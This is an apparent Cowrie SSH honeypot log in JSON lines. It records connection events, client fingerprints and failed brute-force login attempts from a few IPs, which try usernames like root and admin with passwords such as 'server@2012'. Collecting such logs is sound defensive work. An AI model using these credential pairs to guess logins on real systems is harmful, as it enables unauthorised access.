{"eventid":"cowrie.session.connect","src_ip":"103.187.165.26","src_port":44192,"dst_ip":"10.17.0.5","dst_port":22,"session":"8afbcfa5e96f","protocol":"ssh","message":"New connection: 103.187.165.26:44192 (10.17.0.5:22) [session: 8afbcfa5e96f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:02.792438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:02.799562Z","src_ip":"103.187.165.26","session":"8afbcfa5e96f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2026","message":"login attempt [user/Server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:03.006695Z","src_ip":"81.91.233.66","session":"cd516cf93f50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:03.040451Z","src_ip":"103.187.165.26","session":"8afbcfa5e96f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:03.490712Z","src_ip":"81.91.233.66","session":"cd516cf93f50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":49186,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed46dd94a188","protocol":"ssh","message":"New connection: 81.91.233.66:49186 (10.17.0.5:22) [session: ed46dd94a188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:03.749252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:03.753550Z","src_ip":"81.91.233.66","session":"ed46dd94a188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:03.999151Z","src_ip":"81.91.233.66","session":"ed46dd94a188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kt@123456","message":"login attempt [root/Kt@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:04.034189Z","src_ip":"103.187.165.26","session":"8afbcfa5e96f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2026","message":"login attempt [user2/Server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:05.015370Z","src_ip":"81.91.233.66","session":"ed46dd94a188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:05.279323Z","src_ip":"103.187.165.26","session":"8afbcfa5e96f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:05.494909Z","src_ip":"81.91.233.66","session":"ed46dd94a188","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":49307,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cc192e61fb2","protocol":"ssh","message":"New connection: 81.91.233.66:49307 (10.17.0.5:22) [session: 5cc192e61fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:05.766449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:05.770629Z","src_ip":"81.91.233.66","session":"5cc192e61fb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:06.023581Z","src_ip":"81.91.233.66","session":"5cc192e61fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2012","message":"login attempt [root/server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:07.062819Z","src_ip":"81.91.233.66","session":"5cc192e61fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:07.555766Z","src_ip":"81.91.233.66","session":"5cc192e61fb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":1644,"dst_ip":"10.17.0.5","dst_port":22,"session":"c295dc7d7de8","protocol":"ssh","message":"New connection: 81.91.233.66:1644 (10.17.0.5:22) [session: c295dc7d7de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:07.807815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:07.811949Z","src_ip":"81.91.233.66","session":"c295dc7d7de8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:08.059694Z","src_ip":"81.91.233.66","session":"c295dc7d7de8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.840938091278076,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:08.461572Z","src_ip":"170.64.224.25","session":"321f531d43e0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2012","message":"login attempt [admin/server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:09.069565Z","src_ip":"81.91.233.66","session":"c295dc7d7de8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:09.557900Z","src_ip":"81.91.233.66","session":"c295dc7d7de8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":49525,"dst_ip":"10.17.0.5","dst_port":22,"session":"b56549689f4f","protocol":"ssh","message":"New connection: 81.91.233.66:49525 (10.17.0.5:22) [session: b56549689f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:09.830686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:09.834531Z","src_ip":"81.91.233.66","session":"b56549689f4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:10.085874Z","src_ip":"81.91.233.66","session":"b56549689f4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2012","message":"login attempt [user/server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:11.124553Z","src_ip":"81.91.233.66","session":"b56549689f4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:11.615106Z","src_ip":"81.91.233.66","session":"b56549689f4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":49644,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6d492ca0df6","protocol":"ssh","message":"New connection: 81.91.233.66:49644 (10.17.0.5:22) [session: c6d492ca0df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:11.878628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:11.885321Z","src_ip":"81.91.233.66","session":"c6d492ca0df6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:12.137315Z","src_ip":"81.91.233.66","session":"c6d492ca0df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2012","message":"login attempt [user2/server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:13.175884Z","src_ip":"81.91.233.66","session":"c6d492ca0df6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:13.661356Z","src_ip":"81.91.233.66","session":"c6d492ca0df6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":49772,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa6e31b1e7d6","protocol":"ssh","message":"New connection: 81.91.233.66:49772 (10.17.0.5:22) [session: fa6e31b1e7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:13.919005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:13.923625Z","src_ip":"81.91.233.66","session":"fa6e31b1e7d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:14.170710Z","src_ip":"81.91.233.66","session":"fa6e31b1e7d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":46330,"dst_ip":"10.17.0.5","dst_port":22,"session":"1653a5ea39d3","protocol":"ssh","message":"New connection: 8.210.75.243:46330 (10.17.0.5:22) [session: 1653a5ea39d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:14.477386Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2016","message":"login attempt [root/server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:15.191094Z","src_ip":"81.91.233.66","session":"fa6e31b1e7d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:15.676195Z","src_ip":"81.91.233.66","session":"fa6e31b1e7d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":2041,"dst_ip":"10.17.0.5","dst_port":22,"session":"f71ec42d96d7","protocol":"ssh","message":"New connection: 81.91.233.66:2041 (10.17.0.5:22) [session: f71ec42d96d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:15.944053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:15.948409Z","src_ip":"81.91.233.66","session":"f71ec42d96d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:16.198419Z","src_ip":"81.91.233.66","session":"f71ec42d96d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2016","message":"login attempt [admin/server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:17.230360Z","src_ip":"81.91.233.66","session":"f71ec42d96d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:17.715401Z","src_ip":"81.91.233.66","session":"f71ec42d96d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":50009,"dst_ip":"10.17.0.5","dst_port":22,"session":"529b8e390992","protocol":"ssh","message":"New connection: 81.91.233.66:50009 (10.17.0.5:22) [session: 529b8e390992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:17.966914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:17.970970Z","src_ip":"81.91.233.66","session":"529b8e390992","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:18.215663Z","src_ip":"81.91.233.66","session":"529b8e390992","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2016","message":"login attempt [user/server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:19.227933Z","src_ip":"81.91.233.66","session":"529b8e390992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:19.711259Z","src_ip":"81.91.233.66","session":"529b8e390992","protocol":"ssh"}
